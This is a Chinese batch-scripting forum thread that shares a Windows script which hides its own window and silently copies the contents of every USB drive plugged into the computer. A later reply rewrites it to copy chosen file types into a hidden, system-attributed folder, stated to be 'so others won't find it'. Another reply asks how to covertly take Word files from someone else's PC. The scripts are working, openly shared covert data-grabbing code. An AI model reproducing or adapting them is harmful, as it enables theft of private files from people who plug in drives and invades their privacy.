找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 75232|回复: 22

[文件管理] 批处理自动复制U盘里的文件

[复制链接]
发表于 2008-4-11 23:09:13 | 显示全部楼层 |阅读模式
本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)
  1. @echo off
  2. if "%1" == "fmr520" goto begin
  3. mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
  4. :fmr
  5. setlocal enabledelayedexpansion
  6. for /f "delims=" %%i in ('fsutil fsinfo drives^|find /v ""') do (
  7. set var=%%i
  8. set drive=!var:~-2!
  9. fsutil fsinfo drivetype !drive!|find "可移动" && (
  10. xcopy "!drive!\*.*" "%temp%\U盘" /h/i/y/v/s || ping 127.1 /n 1 >nul
  11. )
  12. )
  13. ping 171.1 /n 3 >nul
  14. goto fmr
复制代码
 楼主| 发表于 2008-4-11 23:10:55 | 显示全部楼层
@echo off
start/min "" "复制U盘.bat"

嘿嘿!!!
发表于 2008-4-19 19:32:17 | 显示全部楼层
收下了 不错 呵呵 以后不用要老师的课件了
发表于 2008-6-24 08:49:41 | 显示全部楼层
复制的内容保存去那了?
发表于 2008-6-26 11:10:25 | 显示全部楼层
复制的内容保存去那了?
是哦????
发表于 2008-6-26 11:24:48 | 显示全部楼层
原帖由 杨风 于 2008-6-26 11:10 发表
复制的内容保存去那了?
是哦????

在TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\U盘里面,程序中相关的语句是:
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s
发表于 2008-8-10 12:32:36 | 显示全部楼层
这个批处理 好像改过名字的u盘就无效 对吧
发表于 2008-8-10 12:40:50 | 显示全部楼层
原帖由 愚无尽 于 2008-8-10 12:32 发表
这个批处理 好像改过名字的u盘就无效 对吧

经测试,改过名字的却是无效。
发表于 2008-8-26 00:42:50 | 显示全部楼层
高手们尽快解决~
发表于 2008-12-5 17:28:00 | 显示全部楼层
请教阁下一个问题:      假如别人的电脑上有我想要的文件(如Word文件),而我不知道文件的名字和存放位置。使用批处理,怎样才能使当我的优盘插入他的电脑时,能神不知鬼不觉地把他电脑上所有的Word文件(其中肯定由我所要的)复制到我优盘的指定文件夹里?
       请赐教!
发表于 2009-2-8 13:50:10 | 显示全部楼层

心愿

呵呵“学习了!再接再厉!可以考备目录文件吗
发表于 2009-2-12 20:21:06 | 显示全部楼层
fsutil fsinfo drives^|find /v ""    是什么意思为什么要在|前面加^
我在cmd中试了一下说“drives|find”是无效参数
请大家帮忙解答!
谢谢!
大家
发表于 2009-2-12 20:37:12 | 显示全部楼层

回复 12楼 的帖子

for语句中的管道符为何要用尖号^进行转义?
http://bbs.bathome.net/viewthread.php?tid=1290&page=2#pid6306
发表于 2009-2-12 20:49:08 | 显示全部楼层

回复 7楼 的帖子

怎样用批处理获取U盘盘符?
http://bbs.bathome.net/thread-2683-1-1.html
发表于 2010-3-3 00:06:10 | 显示全部楼层
这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:
  1. @Echo off
  2. SetLocal EnableDelayedExpansion
  3. If "%1"=="D" goto D
  4. If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
  5. Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
  6. Set p=%~0\..\}
  7. :F
  8. set b=0
  9. For /F "delims=驱动器:" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
  10. :W
  11. Ping 127.1
  12. set a=-2
  13. For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
  14. If %a% leq %b% goto F
  15. Goto W
  16. :D
  17. If not exist "!p!\USB~1" md "!p!\USB..."&&attrib +s +h "!p!"
  18. If not exist "!p!\USB~1\%2" md "!p!\USB~1\%2"
  19. For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码

[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-16 23:03 , Processed in 0.016674 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表